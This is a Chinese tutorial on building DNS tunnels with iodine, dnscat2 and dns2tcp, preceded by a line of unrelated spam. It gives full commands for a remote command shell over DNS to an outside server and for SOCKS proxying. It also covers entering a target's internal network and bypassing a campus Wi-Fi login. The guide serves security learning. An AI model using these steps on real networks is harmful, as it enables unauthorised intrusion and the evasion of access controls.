自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

一文讀懂DNS隧道

開發(fā) 開發(fā)工具
DNS隧道,是隧道技術中的一種。當我們的HTTP、HTTPS這樣的上層協(xié)議、正反向端口轉發(fā)都失敗的時候,可以嘗試使用DNS隧道。

一.DNS隧道準備

和我哥們在看一個站點的時候,發(fā)現(xiàn)是不出網(wǎng)的,但是站點可以做DNS查詢,所以想著搭建一個DNS隧道。

1.DNS隧道介紹

DNS隧道,是隧道技術中的一種。當我們的HTTP、HTTPS這樣的上層協(xié)議、正反向端口轉發(fā)都失敗的時候,可以嘗試使用DNS隧道。DNS隧道很難防范,因為平時的業(yè)務也好,使用也罷,難免會用到DNS協(xié)議進行解析,所以防火墻大多對DNS的流量是放行狀態(tài)。這時候,如果我們在不出網(wǎng)機器構造一個惡意的域名(***.xxx.ga),本地的DNS服務器無法給出回答時,就會以迭代查詢的方式通過互聯(lián)網(wǎng)定位到所查詢域的權威DNS服務器。最后,這條DNS請求會落到我們提前搭建好的惡意DNS服務器上,于是乎,我們的不出網(wǎng)主機就和惡意DNS服務器交流上了。

搭建DNS隧道的工具目前有iodine,dnscat,dns2tcp等。

我目前使用的是iodine工具去搭建。

2.前期準備

1個域名,1個公網(wǎng)服務器

需要申請一個域名(最好匿名的,推薦申請網(wǎng)站http://www.freenom.com/zh/index.html),免費且匿名的。

申請的時候直接帶上后綴申請,不然會顯示域名不可用(例如:jingbao123.ga)。

image-20221112102042170.png

申請好之后推薦將freenom的域名服務器更改為騰訊dnspod的,更方面管理域名并且可以配置NS解析,freenom我沒找到NS記錄。

dnspod:https://www.dnspod.cn,在dnspod中添加剛申請的域名,然后dnspod會給出兩條dns服務器地址,

image-20221112101425317.png

將freenom中dns服務器更改為dnspod提供的地址,就可以將域名的解析權給引到dnspod。

image-20221112101828515.png

dnspod得到域名的管理權之后,在里面添加兩條解析記錄。

image-20221112102529262.png

第一條A類記錄,告訴域名系統(tǒng),"www.woshishui120.ga"的IP地址是"121.xxx.xxx.xxx"

第二條NS記錄,告訴域名系統(tǒng),"ns.woshishui120.ga"的域名由"www.woshishui120.ga"進行解析。

到此前期準備工作就已經(jīng)完成了,已經(jīng)將域名綁定到了我們的公網(wǎng)服務器上。

二.iodine DNS隧道搭建

在我們的公網(wǎng)服務器安裝iodine,該工具服務端為iodined,客戶端為iodine。

執(zhí)行apt install iodine命令會同時安裝服務端與客戶端。

1.服務端

在公網(wǎng)服務器上部署iodine服務端。(需要root權限運行)

iodined -f -c -P 123.com 192.168.200.1 ns.woshishui120.ga -DD

  • \-f:在前臺運行
  • \-c:禁止檢查所有傳入請求的客戶端IP地址。
  • \-P:客戶端和服務端之間用于驗證身份的密碼。
  • \-D:指定調(diào)試級別,-DD指第二級?!癉”的數(shù)量隨級別增加。

這里的192.168.200.1為自定義局域網(wǎng)虛擬IP地址,建議不要與現(xiàn)有網(wǎng)段沖突注意!填寫的地址為NS記錄

image-20221112103259591.png

執(zhí)行完該命令之后會新生成一個dns0虛擬網(wǎng)卡,ip地址就是剛才命令中輸入的ip地址(192.168.200.1)。

image-20221112105106479.png

**ubuntu默認53端口是打開的,通過下面命令關閉掉53端口**

rm /etc/resolv.conf&&echo "nameserver x.x.x.x" >> /etc/resolv.conf 配置dns服務器(x.x.x.x改為dns服務器,8.8.8.8等)

systemctl stop systemd-resolved 停止該進程

systemctl disable systemd-resolved 關閉開機自啟動

2.客戶端

客戶端我使用的kali,kali自帶iodine工具。

iodine -f -P 123.com ns.woshishui120.ga -M 200

  • -r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數(shù)的作用是強制在任何情況下使用DNS隧道
  • -M:指定上行主機的大小。
  • -m:調(diào)節(jié)最大下行分片的大小。
  • -f:在前臺運行
  • -T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
  • -O:指定數(shù)據(jù)編碼規(guī)范。
  • -P:客戶端和服務端之間用于驗證身份的密碼。
  • -L:指定是否開啟懶惰模式,默認開啟。
  • -I:指定兩個請求之間的時間間隔。

image-20221112103813903.png

3.坑點

我客戶端執(zhí)行連接命令之后,死活連接不到(如上圖所示),剛開始我以為我的ns記錄未生效,但是中午配置的下午我試還是不行。我又認為是騰訊云的緣故,53端口不可用等,但是各位大佬說53端口是可用的,于是就求助各位大佬。最終大佬給的這篇文章有了答案。https://exploit0.cn/archives/571/

我的公網(wǎng)服務器是騰訊云的,我當時只在防火墻管理面板打開了tcp53端口,但是沒有打開udp53端口。dns解析使用的是udp53端口。

image-20221112104637932.png

于是我快速的打開了騰訊云防火墻的udp53端口。

image-20221112104911838.png

然后繼續(xù)執(zhí)行上述命令。

image-20221112105503090.png

可以看到已經(jīng)連接成功。但是會報編碼錯誤,經(jīng)過大佬指示該工具也可以指定編碼。參數(shù)為-O

iodine -f -P 123.com ns.woshishui120.ga -M 200 -O base64

image-20221112105752298.png

雖然也會出現(xiàn)編碼錯誤,但是比剛才明顯少了很多。

連接成功之后,kali上也會生成一個虛擬網(wǎng)卡。ip地址被分配為192.168.200.2。

image-20221112105912648.png

在kali上ping一下公網(wǎng)服務器的虛擬地址,可以ping通,說明DNS隧道已經(jīng)搭建成功了。

image-20221112110007499.png

現(xiàn)在就相當于在公網(wǎng)服務器和kail之間各生成了一個虛擬網(wǎng)卡,然后這兩個虛擬網(wǎng)卡之間是互通的,

image-20221112120024457.png

在公網(wǎng)服務器上連接kali的虛擬地址,使用ssh做一個動態(tài)端口轉發(fā)。

ssh -D 60688 root@192.168.200.2

image-20221112111552969.png

但此時只相當于在公網(wǎng)服務器的192.168.200.1的60688端口搭建了一個socks5代理隧道,如果想要本地使用該隧道是行不通的,因為192.168.200.1相當于一個內(nèi)網(wǎng)地址,是不能直接訪問得到的,所以需要將公網(wǎng)服務器虛擬網(wǎng)卡地址192.168.200.1的60688端口數(shù)據(jù)轉發(fā)到公網(wǎng)服務器公網(wǎng)地址的一個端口上。這個端口轉發(fā)我還沒試(不知道采用哪個工具會好點)。

我用的是frp在兩個虛擬網(wǎng)卡之間搭建一個反向隧道。

4.frp搭建隧道

在公網(wǎng)服務器開啟服務端。

image-20221112114418465.png

image-20221112114029740.png

然后使用kali去連接,kali連接的服務端ip為公網(wǎng)服務器虛擬網(wǎng)卡的ip。

image-20221112114142210.png

kali顯示如下

image-20221112114312931.png

公網(wǎng)服務器顯示如下

image-20221112114222034.png

即成功在公網(wǎng)服務器的60688端口搭建了一個socks5隧道,相當于socks5隧道套接在dns隧道里面。

image-20221112115021530.png

然后就可以通過公網(wǎng)服務器的60688端口去遨游kali的內(nèi)網(wǎng)。(但是感覺很卡)

三.dnscat2 DNS隧道搭建

(1)直連模式

客戶端直接向指定IP地址的DNS服務器發(fā)起DNS解析請求

1.服務端

公網(wǎng)服務器做服務端

ruby dnscat2.rb

image-20221112123719142.png

2.客戶端

dnscat --dns server=121.5.145.31,port=53 --secret=4575d232b01034db7eae9baa9ac4dbe2

kali做客戶端:命令為服務端輸出的命令(上圖紅色圈出的地方,x.x.x.x更改為自己公網(wǎng)服務器地址)

image-20221112123631410.png

不知道為什么直連模式下kali連接不到服務端(有大佬知道的可以告知下)

(2)中繼模式

DNS經(jīng)過互聯(lián)網(wǎng)的迭代解析,指向指定的DNS服務器。與直連模式相比,中繼模式的速度較慢

1.服務端

公網(wǎng)服務器作為服務端

ruby dnscat2.rb ns.woshishui120.ga -e open --no-cache -c 123.com

-e:指定安全級別,open表示服務端運行客戶端不進行加密

-c:指定密鑰

--no-cache:禁止緩存,一定添加該選項,因為powershell-dnscat2客戶端域dnscat2服務端的Caching模式不兼容

image-20221112121751503.png

2.客戶端

kali作為客戶端

dnscat --secret=123.com ns.woshishui120.ga

image-20221112121146478.png

使用dnscat2搭建dns隧道,搭建成功之后,會在服務端生成一個session,

image-20221112122143221.png

進入session 2執(zhí)行shell之后會生成一個新session,

image-20221112124010460.png

該新session可以執(zhí)行命令。

image-20221112122353541.png

sessions 列出所有session

session -i 2 進入session 2

shell:創(chuàng)建交互式shell

suspend:返回上一層

listen 127.0.0.1:888 127.0.0.1:22 第一個127.0.0.1為服務端ip,第二個127.0.0.1為客戶端ip,將客戶端的22端口轉到服務端的888端口 ssh -p 888 127.0.0.1

四.dns2tcp DNS隧道搭建

1.服務端

公網(wǎng)服務器做服務端

image-20221112134427206.png

更改dns2tcp配置文件的listen為0.0.0.0,(監(jiān)聽在0.0.0.0就可以讓客戶端連接到服務端)

resources后面可以自己更改,name:公網(wǎng)服務器_ip:port ,格式按照這個即可。名字,端口隨便設置,公網(wǎng)服務器_ip為公網(wǎng)服務器公網(wǎng)ip。名字設置為name,客戶端-r后面參數(shù)就跟設置的name。

dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

  • -f /etc/dns2tcpd.conf”指定了配置文件,
  • -F要求程序在前臺運行,
  • -d 2 指明了輸出調(diào)試信息,級別為2

image-20221112134627660.png

2.客戶端

kali做客戶端

dns2tcpc -r ssh -z ns.woshishui120.ga -l 8888 -d 2 中繼模式

dns2tcpc -r ssh -z ns.woshishui120.ga 121.5.145.31 -l 8888 -d 2 直連模式

  • -r 后接服務名稱<ssh/socks中的任意一個>,該名稱自己隨便在服務端的配置文件dns2tcpd.conf設置,
  • -z 后接你設置的NS記錄,和你的公網(wǎng)服務器公網(wǎng)ip <公網(wǎng)ip> 可不填,不寫將使用中繼模式,否則使用直連模式
  • 中繼模式像我們平時上網(wǎng)一樣,DNS解析先經(jīng)過互聯(lián)網(wǎng)的迭代解析,最后指向我們的惡意DNS服務器。相比直連,速度較慢,但是更安全。
  • -l 后接本地端口,隨便一個常用端口就行,8888”指明了隧道的這頭監(jiān)聽的端口
  • -d 開啟 Debug ,"-d 2"指明了輸出調(diào)試信息,級別為2,作用和服務器端相同
  • -k 密碼

該命令代表:連接服務端的ssh名稱,訪問kali的8888端口相當于訪問vps的22端口。

image-20221112150203687.png

輸入該命令之后客戶端和服務端并不會有輸出,剛開始我看沒輸出,還以為沒連接上。

ssh ubuntu@公網(wǎng)服務器 -p 8888 就可連接到公網(wǎng)服務器的ssh服務上。(輸入該命令之后服務端與客戶端就會有輸出)

image-20221112150743479.png

如果想要通過該dns隧道達到訪問互聯(lián)網(wǎng)的目的。-r指定服務端配置文件的socks,還需要在服務端的60688端口開啟一個正向的socks5隧道(該端口在服務端的配置文件中設置,socks:121.5.145.31:60688,socks和60688都可以隨便設置),不然就只是kali和公網(wǎng)服務器互通了,但是kali不能通過公網(wǎng)服務器訪問互聯(lián)網(wǎng),當在公網(wǎng)服務器的60688端口開啟一個socks5隧道后,就可以通過kali與公網(wǎng)服務器的dns隧道互通,然后通過公網(wǎng)服務器的socks5端口(60688)去訪問互聯(lián)網(wǎng)。

公網(wǎng)服務器開啟正向socks5,可以使用gost或者proxy

gost開啟正向socks5代理

gost -L=socks5://:60688公網(wǎng)服務器開啟正向socks5代理

image-20221112151554780.png

proxy開啟正向socks5代理

proxy socks -t tcp -p "0.0.0.0:60688" --udp-port 0 --udp

goproxy使用:https://github.com/snail007/goproxy/blob/master/README_ZH.md

image-20221112152130886.png

gost或者proxy隨便選擇一種即可,個人感覺gost比較快一點

dns2tcpc -r socks -z ns.woshishui120.ga -l 8888 -d 2

image-20221112151635522.png

此時訪問kali的8888端口,就可以訪問互聯(lián)網(wǎng)。

image-20221112151754048.png

kali配置代理訪問百度

image-20221112151826720.png

就可以實現(xiàn)在只有dns出網(wǎng)的環(huán)境下,訪問互聯(lián)網(wǎng)。

五.工具利用環(huán)境

1.外->內(nèi)

iodine和dnscat2使用環(huán)境:目標是內(nèi)網(wǎng),并且只有dns出網(wǎng)的情況下,通過自己的公網(wǎng)服務器搭建到目標的dns隧道,從而通過公網(wǎng)服務器代理進入目標內(nèi)網(wǎng),遨游目標內(nèi)網(wǎng)。

image-20221112125017996.png

2.內(nèi)->外

dns2tcp使用的環(huán)境是:自己在一個內(nèi)網(wǎng)里面,自己所處的環(huán)境不出網(wǎng),但是dns可以出網(wǎng),就可以用過dns2tcp搭建一個dns隧道,從而可以訪問到互聯(lián)網(wǎng)環(huán)境。

典型環(huán)境:在學校連接到wifi之后,必須要認證登陸,不然不能上網(wǎng),但是瀏覽器又能加載出登陸界面,此情況就是dns出網(wǎng),可以通過dns2tcp搭建dns隧道繞過認證登陸。

image-20221112125524701.png

本文作者:我們的征途是星辰大海, 轉載請注明來自FreeBuf.COM

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2023-12-22 19:59:15

2021-08-04 16:06:45

DataOps智領云

2018-09-28 14:06:25

前端緩存后端

2022-09-22 09:00:46

CSS單位

2025-04-03 10:56:47

2022-11-06 21:14:02

數(shù)據(jù)驅(qū)動架構數(shù)據(jù)

2022-07-05 06:30:54

云網(wǎng)絡網(wǎng)絡云原生

2023-05-20 17:58:31

低代碼軟件

2023-11-27 17:35:48

ComponentWeb外層

2022-10-20 08:01:23

2022-07-26 00:00:03

語言模型人工智能

2021-12-29 18:00:19

無損網(wǎng)絡網(wǎng)絡通信網(wǎng)絡

2021-02-05 05:26:33

字節(jié)ASCII控制

2020-12-30 09:05:24

架構微內(nèi)核系統(tǒng)

2017-05-04 20:29:12

HTTP服務器TCP

2021-05-18 09:48:58

前端開發(fā)架構

2023-11-20 14:58:30

人工智能AI Agents

2024-01-03 08:54:17

Kubernetes策略工具

2017-05-15 11:10:10

大數(shù)據(jù)聚類算法
點贊
收藏

51CTO技術棧公眾號